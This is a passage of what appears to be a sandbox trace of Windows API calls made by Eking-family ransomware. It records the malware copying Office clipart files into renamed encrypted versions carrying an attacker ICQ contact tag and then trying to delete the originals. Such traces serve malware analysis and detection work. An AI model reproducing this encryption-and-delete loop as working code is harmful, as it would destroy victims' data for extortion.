[0262.842] CloseHandle (hObject=0x348) returned 1 [0263.186] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0 [0263.186] SetEvent (hEvent=0x2b8) returned 1 [0263.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.188] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1012) returned 1 [0263.188] CloseHandle (hObject=0x3a8) returned 1 [0263.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0263.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0263.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.189] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.189] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0263.191] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3f4, lpOverlapped=0x0) returned 1 [0263.565] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x400, lpOverlapped=0x0) returned 1 [0263.567] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.567] CloseHandle (hObject=0x3a8) returned 1 [0263.567] CloseHandle (hObject=0x3ac) returned 1 [0263.568] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0 [0263.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0263.569] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10146) returned 1 [0263.570] CloseHandle (hObject=0x3ac) returned 1 [0263.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0263.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0263.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0263.571] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.571] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0263.572] ReadFile (in: hFile=0x3ac, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x27a2, lpOverlapped=0x0) returned 1 [0263.585] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x27b0, lpOverlapped=0x0) returned 1 [0263.587] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.587] CloseHandle (hObject=0x3ac) returned 1 [0263.587] CloseHandle (hObject=0x3a8) returned 1 [0263.587] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0 [0263.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0263.708] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1696) returned 1 [0263.708] CloseHandle (hObject=0x354) returned 1 [0263.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0263.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0263.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0263.709] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.709] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0263.711] ReadFile (in: hFile=0x354, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x6a0, lpOverlapped=0x0) returned 1 [0263.713] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6b0, lpOverlapped=0x0) returned 1 [0263.715] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.715] CloseHandle (hObject=0x354) returned 1 [0263.715] CloseHandle (hObject=0x394) returned 1 [0263.716] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0 [0263.716] SetEvent (hEvent=0x2b8) returned 1 [0263.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0263.717] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1516) returned 1 [0263.717] CloseHandle (hObject=0x394) returned 1 [0263.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0263.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0263.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0263.718] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.719] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0263.720] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5ec, lpOverlapped=0x0) returned 1 [0263.746] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5f0, lpOverlapped=0x0) returned 1 [0263.748] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.748] CloseHandle (hObject=0x394) returned 1 [0263.748] CloseHandle (hObject=0x354) returned 1 [0263.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0 [0263.749] SetEvent (hEvent=0x2b8) returned 1 [0263.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.938] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9304) returned 1 [0263.938] CloseHandle (hObject=0x390) returned 1 [0263.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0263.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0263.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.939] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.939] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0263.948] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2458, lpOverlapped=0x0) returned 1 [0263.970] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2460, lpOverlapped=0x0) returned 1 [0263.972] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.972] CloseHandle (hObject=0x390) returned 1 [0263.973] CloseHandle (hObject=0x3b0) returned 1 [0263.973] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0 [0263.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0263.976] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1736) returned 1 [0263.976] CloseHandle (hObject=0x3b0) returned 1 [0263.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0263.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0263.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0263.976] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.977] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0263.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0263.977] ReadFile (in: hFile=0x3b0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x6c8, lpOverlapped=0x0) returned 1 [0264.013] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6d0, lpOverlapped=0x0) returned 1 [0264.014] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.014] CloseHandle (hObject=0x3b0) returned 1 [0264.015] CloseHandle (hObject=0x390) returned 1 [0264.015] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0 [0264.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.016] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2556) returned 1 [0264.016] CloseHandle (hObject=0x390) returned 1 [0264.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0264.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0264.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.018] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.018] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.019] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x9fc, lpOverlapped=0x0) returned 1 [0264.032] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa00, lpOverlapped=0x0) returned 1 [0264.033] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.034] CloseHandle (hObject=0x390) returned 1 [0264.034] CloseHandle (hObject=0x3b0) returned 1 [0264.035] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0 [0264.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 